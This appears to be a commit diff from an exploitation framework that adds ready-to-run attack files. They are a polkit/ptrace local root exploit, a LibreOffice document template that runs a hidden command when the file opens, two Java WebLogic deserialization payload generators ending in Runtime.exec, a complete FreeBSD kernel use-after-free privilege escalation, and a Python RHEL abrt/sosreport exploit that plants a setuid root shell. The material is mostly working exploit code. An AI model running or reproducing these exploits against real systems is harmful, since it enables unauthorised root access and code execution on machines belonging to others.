if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}
int i;
#if ENABLE_AUTO_TARGETING
/* search polkit policies for helper executables */
dprintf("[.] Searching policies for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i], &st) != 0)
continue;
helper_path = helpers[i];
ptrace_traceme_root();
}
#endif
#if ENABLE_FALLBACK_HELPERS
/* search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) != 0)
continue;
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
#endif
dprintf("[~] Done\n");
return 0;
}
Binary file not shown.
Binary file not shown.
+42
View File
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="P8"><%= @cmd %></text:p>
<text:p text:style-name="Standard">#<%= text_content %></text:p>
</office:text>
</office:body>
</office:document>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,54 @@
import com.tangosol.util.filter.LimitFilter;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
/*
* BadAttributeValueExpException.readObject()
* com.tangosol.util.filter.LimitFilter.toString()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke()
* Runtime.exec()
*
* PoC by Y4er
*/
public class Weblogic_2555
{
public static void main(String args[]) throws Exception
{
ReflectionExtractor extractor = new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] });
ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{ null, new Object[0] });
ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{ new String[]{ "/bin/sh", "-c", "touch /tmp/blah_ze_blah" } });
ReflectionExtractor extractors[] = { extractor, extractor2, extractor3 };
ChainedExtractor chainedExt = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExt);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// Serialize object & save to file
FileOutputStream fos = new FileOutputStream("payload_obj.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(badAttributeValueExpException);
os.close();
}
}
@@ -0,0 +1,63 @@
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.supeream.serial.Reflections;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.concurrent.Callable;
/*
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* com.tangosol.util.extractor.AbstractExtractor.compare()
* com.tangosol.util.extractor.MultiExtractor.extract()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* Method.invoke()
* Runtime.exec()
*
* PoC by Y4er
*/
public class Weblogic_2883
{
public static void main(String args[]) throws Exception
{
ReflectionExtractor extractor = new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] });
ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{ null, new Object[0] });
ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{ new String[]{ "/bin/sh", "-c", "touch /tmp/blah_ze_blah" } });
ValueExtractor extractors[] = { new ConstantExtractor(Runtime.class), extractor, extractor2, extractor3 };
ChainedExtractor chainedExt = new ChainedExtractor(extractors);
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
FileOutputStream fos = new FileOutputStream("payload_obj.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(queue);
os.close();
}
}
+611
View File
@@ -0,0 +1,611 @@
/*
FreeBSD 12.0-RELEASE x64 Kernel Exploit
Usage:
$ clang -o exploit exploit.c -lpthread
$ ./exploit
*/
// msf note: written by theflow0: https://hackerone.com/reports/826026
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#define _KERNEL
#include <sys/event.h>
#undef _KERNEL
#define _WANT_FILE
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/socket.h>
#define _WANT_SOCKET
#include <sys/socketvar.h>
#include <netinet/in.h>
#define _WANT_INPCB
#include <netinet/in_pcb.h>
#include <netinet/ip6.h>
#include <netinet6/ip6_var.h>
// #define FBSD12
#define ELF_MAGIC 0x464c457f
#define IPV6_2292PKTINFO 19
#define IPV6_2292PKTOPTIONS 25
#define TCLASS_MASTER 0x13370000
#define TCLASS_SPRAY 0x41
#define TCLASS_TAINT 0x42
#define NUM_SPRAY_RACE 0x20
#define NUM_SPRAY 0x100
#define NUM_KQUEUES 0x100
#ifdef FBSD12
#define ALLPROC_OFFSET 0x1df3c38
#else
#define ALLPROC_OFFSET 0xf01e40
#endif
#define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo))
#define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr))
#define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass))
#define PROC_LIST_OFFSET (offsetof(struct proc, p_list))
#define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred))
#define PROC_FD_OFFSET (offsetof(struct proc, p_fd))
#define PROC_PID_OFFSET (offsetof(struct proc, p_pid))
#ifdef FBSD12
#define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files))
#define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles))
#define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles))
#define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file))
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
#else
#define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles))
#define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles))
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
#endif
#define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop))
#define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach))
#define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb))
#define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts))
int kqueue(void);
int kevent(int kq, const struct kevent *changelist, int nchanges,
struct kevent *eventlist, int nevents,
const struct timespec *timeout);
static uint64_t kernel_base;
static uint64_t p_ucred, p_fd;
static uint64_t kevent_addr, pktopts_addr;
static int triggered = 0;
static int kevent_sock, master_sock, overlap_sock, victim_sock;
static int spray_sock[NUM_SPRAY];
static int kq[NUM_KQUEUES];
static void hexDump(const void *data, size_t size) {
size_t i;
for(i = 0; i < size; i++) {
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
}
printf("\n");
}
static int new_socket(void) {
return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
}
static void build_tclass_cmsg(char *buf, int val) {
struct cmsghdr *cmsg;
cmsg = (struct cmsghdr *)buf;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_TCLASS;
*(int *)CMSG_DATA(cmsg) = val;
}
static int build_rthdr_msg(char *buf, int size) {
struct ip6_rthdr *rthdr;
int len;
len = ((size >> 3) - 1) & ~1;
size = (len + 1) << 3;
memset(buf, 0, size);
rthdr = (struct ip6_rthdr *)buf;
rthdr->ip6r_nxt = 0;
rthdr->ip6r_len = len;
rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;
return size;
}
static int get_rthdr(int s, char *buf, socklen_t len) {
return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
}
static int set_rthdr(int s, char *buf, socklen_t len) {
return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
static int free_rthdr(int s) {
return set_rthdr(s, NULL, 0);
}
static int get_tclass(int s) {
int val;
socklen_t len = sizeof(val);
getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
return val;
}
static int set_tclass(int s, int val) {
return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
}
static int get_pktinfo(int s, char *buf) {
socklen_t len = sizeof(struct in6_pktinfo);
return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len);
}
static int set_pktinfo(int s, char *buf) {
return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo));
}
static int set_pktopts(int s, char *buf, socklen_t len) {
return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len);
}
static int free_pktopts(int s) {
return set_pktopts(s, NULL, 0);
}
static uint64_t leak_rthdr_ptr(int s) {
char buf[0x100];
get_rthdr(s, buf, sizeof(buf));
return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET);
}
static uint64_t leak_kmalloc(char *buf, int size) {
int rthdr_len = build_rthdr_msg(buf, size);
set_rthdr(master_sock, buf, rthdr_len);
#ifdef FBSD12
get_rthdr(master_sock, buf, rthdr_len);
return *(uint64_t *)(buf + 0x00);
#else
return leak_rthdr_ptr(overlap_sock);
#endif
}
static void write_to_victim(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
*(uint64_t *)(buf + 0x00) = addr;
*(uint64_t *)(buf + 0x08) = 0;
*(uint32_t *)(buf + 0x10) = 0;
set_pktinfo(master_sock, buf);
}
static int find_victim_sock(void) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
for (int i = 0; i < NUM_SPRAY; i++) {
get_pktinfo(spray_sock[i], buf);
if (*(uint64_t *)(buf + 0x00) != 0)
return i;
}
return -1;
}
static uint8_t kread8(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint8_t *)buf;
}
static uint16_t kread16(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint16_t *)buf;
}
static uint32_t kread32(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint32_t *)buf;
}
static uint64_t kread64(uint64_t addr) {
char buf[sizeof(struct in6_pktinfo)];
write_to_victim(addr);
get_pktinfo(victim_sock, buf);
return *(uint64_t *)buf;
}
static void kread(void *dst, uint64_t src, size_t len) {
for (int i = 0; i < len; i++)
((uint8_t *)dst)[i] = kread8(src + i);
}
static void kwrite64(uint64_t addr, uint64_t val) {
int fd = open("/dev/kmem", O_RDWR);
if (fd >= 0) {
lseek(fd, addr, SEEK_SET);
write(fd, &val, sizeof(val));
close(fd);
}
}
static int kwrite(uint64_t addr, void *buf) {
write_to_victim(addr);
return set_pktinfo(victim_sock, buf);
}
static uint64_t find_kernel_base(uint64_t addr) {
addr &= ~(PAGE_SIZE - 1);
while (kread32(addr) != ELF_MAGIC)
addr -= PAGE_SIZE;
return addr;
}
static int find_proc_cred_and_fd(pid_t pid) {
uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET);
while (proc) {
if (kread32(proc + PROC_PID_OFFSET) == pid) {
p_ucred = kread64(proc + PROC_UCRED_OFFSET);
p_fd = kread64(proc + PROC_FD_OFFSET);
printf("[+] p_ucred: 0x%lx\n", p_ucred);
printf("[+] p_fd: 0x%lx\n", p_fd);
return 0;
}
proc = kread64(proc + PROC_LIST_OFFSET);
}
return -1;
}
#ifdef FBSD12
static uint64_t find_socket_data(int s) {
uint64_t files, ofiles, fp;
int nfiles;
short type;
files = kread64(p_fd + FILEDESC_FILES_OFFSET);
if (!files)
return 0;
ofiles = files + FILEDESCENTTBL_OFILES_OFFSET;
nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET);
if (s < 0 || s >= nfiles)
return 0;
fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET);
if (!fp)
return 0;
type = kread16(fp + FILE_TYPE_OFFSET);
if (type != DTYPE_SOCKET)
return 0;
return kread64(fp + FILE_DATA_OFFSET);
}
#else
static uint64_t find_socket_data(int s) {
uint64_t ofiles, fp;
int nfiles;
short type;
ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET);
if (!ofiles)
return 0;
nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET);
if (s < 0 || s >= nfiles)
return 0;
fp = kread64(ofiles + s * sizeof(struct file *));
if (!fp)
return 0;
type = kread16(fp + FILE_TYPE_OFFSET);
if (type != DTYPE_SOCKET)
return 0;
return kread64(fp + FILE_DATA_OFFSET);
}
#endif
static uint64_t find_socket_pcb(int s) {
uint64_t f_data;
f_data = find_socket_data(s);
if (!f_data)
return 0;
return kread64(f_data + SOCKET_PCB_OFFSET);
}
static uint64_t find_socket_pktopts(int s) {
uint64_t in6p;
in6p = find_socket_pcb(s);
if (!in6p)
return 0;
return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET);
}
static void cleanup(void) {
uint64_t master_pktopts, overlap_pktopts, victim_pktopts;
master_pktopts = find_socket_pktopts(master_sock);
overlap_pktopts = find_socket_pktopts(overlap_sock);
victim_pktopts = find_socket_pktopts(victim_sock);
kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0);
kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
}
static void escalate_privileges(void) {
char buf[sizeof(struct in6_pktinfo)];
*(uint32_t *)(buf + 0x00) = 0; // cr_uid
*(uint32_t *)(buf + 0x04) = 0; // cr_ruid
*(uint32_t *)(buf + 0x08) = 0; // cr_svuid
*(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups
*(uint32_t *)(buf + 0x10) = 0; // cr_rgid
kwrite(p_ucred + 4, buf);
}
static int find_overlap_sock(void) {
set_tclass(master_sock, TCLASS_TAINT);
for (int i = 0; i < NUM_SPRAY; i++) {
if (get_tclass(spray_sock[i]) == TCLASS_TAINT)
return i;
}
return -1;
}
static int spray_pktopts(void) {
for (int i = 0; i < NUM_SPRAY_RACE; i++)
set_tclass(spray_sock[i], TCLASS_SPRAY);
if (get_tclass(master_sock) == TCLASS_SPRAY)
return 1;
for (int i = 0; i < NUM_SPRAY_RACE; i++)
free_pktopts(spray_sock[i]);
return 0;
}
static void *use_thread(void *arg) {
char buf[CMSG_SPACE(sizeof(int))];
build_tclass_cmsg(buf, 0);
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
set_pktopts(master_sock, buf, sizeof(buf));
#ifdef FBSD12
usleep(100);
#endif
}
triggered = 1;
return NULL;
}
static void *free_thread(void *arg) {
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
free_pktopts(master_sock);
#ifdef FBSD12
if (spray_pktopts())
break;
#endif
usleep(100);
}
triggered = 1;
return NULL;
}
static int trigger_uaf(void) {
pthread_t th[2];
pthread_create(&th[0], NULL, use_thread, NULL);
pthread_create(&th[1], NULL, free_thread, NULL);
while (1) {
if (spray_pktopts())
break;
#ifndef FBSD12
usleep(100);
#endif
}
triggered = 1;
pthread_join(th[0], NULL);
pthread_join(th[1], NULL);
return find_overlap_sock();
}
static int fake_pktopts(uint64_t pktinfo) {
char buf[0x100];
int rthdr_len, tclass;
// Free master_sock's pktopts
free_pktopts(overlap_sock);
// Spray rthdr's to refill master_sock's pktopts
rthdr_len = build_rthdr_msg(buf, 0x100);
for (int i = 0; i < NUM_SPRAY; i++) {
*(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo;
*(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET) = TCLASS_MASTER | i;
set_rthdr(spray_sock[i], buf, rthdr_len);
}
tclass = get_tclass(master_sock);
// See if pktopts has been refilled correctly
if ((tclass & 0xffff0000) != TCLASS_MASTER) {
printf("[-] Error could not refill pktopts.\n");
exit(1);
}
return tclass & 0xffff;
}
static void leak_kevent_pktopts(void) {
char buf[0x800];
struct kevent kv;
EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL);
// Free pktopts
for (int i = 0; i < NUM_SPRAY; i++)
free_pktopts(spray_sock[i]);
// Leak 0x800 kmalloc addr
kevent_addr = leak_kmalloc(buf, 0x800);
printf("[+] kevent_addr: 0x%lx\n", kevent_addr);
// Free rthdr buffer and spray kevents to occupy this location
free_rthdr(master_sock);
for (int i = 0; i < NUM_KQUEUES; i++)
kevent(kq[i], &kv, 1, 0, 0, 0);
// Leak 0x100 kmalloc addr
pktopts_addr = leak_kmalloc(buf, 0x100);
printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr);
// Free rthdr buffer and spray pktopts to occupy this location
free_rthdr(master_sock);
for (int i = 0; i < NUM_SPRAY; i++)
set_tclass(spray_sock[i], 0);
}
int main(int argc, char *argv[]) {
uint64_t knote, kn_fop, f_detach;
int idx;
printf("[*] Initializing sockets...\n");
kevent_sock = new_socket();
master_sock = new_socket();
for (int i = 0; i < NUM_SPRAY; i++)
spray_sock[i] = new_socket();
for (int i = 0; i < NUM_KQUEUES; i++)
kq[i] = kqueue();
printf("[*] Triggering UAF...\n");
idx = trigger_uaf();
if (idx == -1) {
printf("[-] Error could not find overlap sock.\n");
exit(1);
}
// master_sock and overlap_sock point to the same pktopts
overlap_sock = spray_sock[idx];
spray_sock[idx] = new_socket();
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
// Reallocate pktopts
for (int i = 0; i < NUM_SPRAY; i++) {
free_pktopts(spray_sock[i]);
set_tclass(spray_sock[i], 0);
}
// Fake master pktopts
idx = fake_pktopts(0);
overlap_sock = spray_sock[idx];
spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
// Leak address of some kevent and pktopts
leak_kevent_pktopts();
// Fake master pktopts
idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
overlap_sock = spray_sock[idx];
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
idx = find_victim_sock();
if (idx == -1) {
printf("[-] Error could not find victim sock.\n");
exit(1);
}
victim_sock = spray_sock[idx];
printf("[+] Victim socket: %x (%x)\n", victim_sock, idx);
printf("[+] Arbitrary R/W achieved.\n");
knote = kread64(kevent_addr + kevent_sock * sizeof(uintptr_t));
kn_fop = kread64(knote + KNOTE_FOP_OFFSET);
f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET);
printf("[+] knote: 0x%lx\n", knote);
printf("[+] kn_fop: 0x%lx\n", kn_fop);
printf("[+] f_detach: 0x%lx\n", f_detach);
printf("[+] Finding kernel base...\n");
kernel_base = find_kernel_base(f_detach);
printf("[+] Kernel base: 0x%lx\n", kernel_base);
printf("[+] Finding process cred and fd...\n");
find_proc_cred_and_fd(getpid());
printf("[*] Escalating privileges...\n");
escalate_privileges();
printf("[*] Cleaning up...\n");
cleanup();
printf("[+] Done.\n");
return 0;
}
@@ -0,0 +1,114 @@
#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015
# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport: sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
import os,sys,glob,time,sys,socket
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
pid = os.fork()
if pid == 0:
os.execl("/usr/bin/sleep","sleep","100")
time.sleep(0.5)
print "crashing pid %d" % pid
os.kill(pid,11)
print "waiting for dump directory"
def waitpath(p):
while 1:
r = glob.glob(p)
if len(r) > 0:
return r
time.sleep(0.05)
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
print "dump directory: ", dumpdir
os.chdir(dumpdir)
print "waiting for sosreport directory"
sosreport = waitpath("sosreport-*")[0]
print "sosreport: ", sosreport
print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")
print "tmpfiles: ", tmpfiles
print "moving directory"
os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)
os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
print "moving tmpfiles"
for x in tmpfiles:
print "%s -> %s" % (x,x + ".old")
os.rename(x, x + ".old")
open(x, "w+").write("/tmp/hax.sh\n")
os.chmod(x,0666)
os.chdir("/")
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
def trigger():
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except: pass
time.sleep(0.5)
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
print "success"
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
sys.exit(-1)
for x in xrange(0,60*10):
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
print "done"
trigger()
time.sleep(1)
sys.stderr.write(".")
print "timed out"
Binary file not shown.
+102
View File
@@ -0,0 +1,102 @@
[VPNTEST]
Encoding=1
PBVersion=1
Type=2
AutoLogon=1
UseRasCredentials=1
LowDateTime=-1345834320
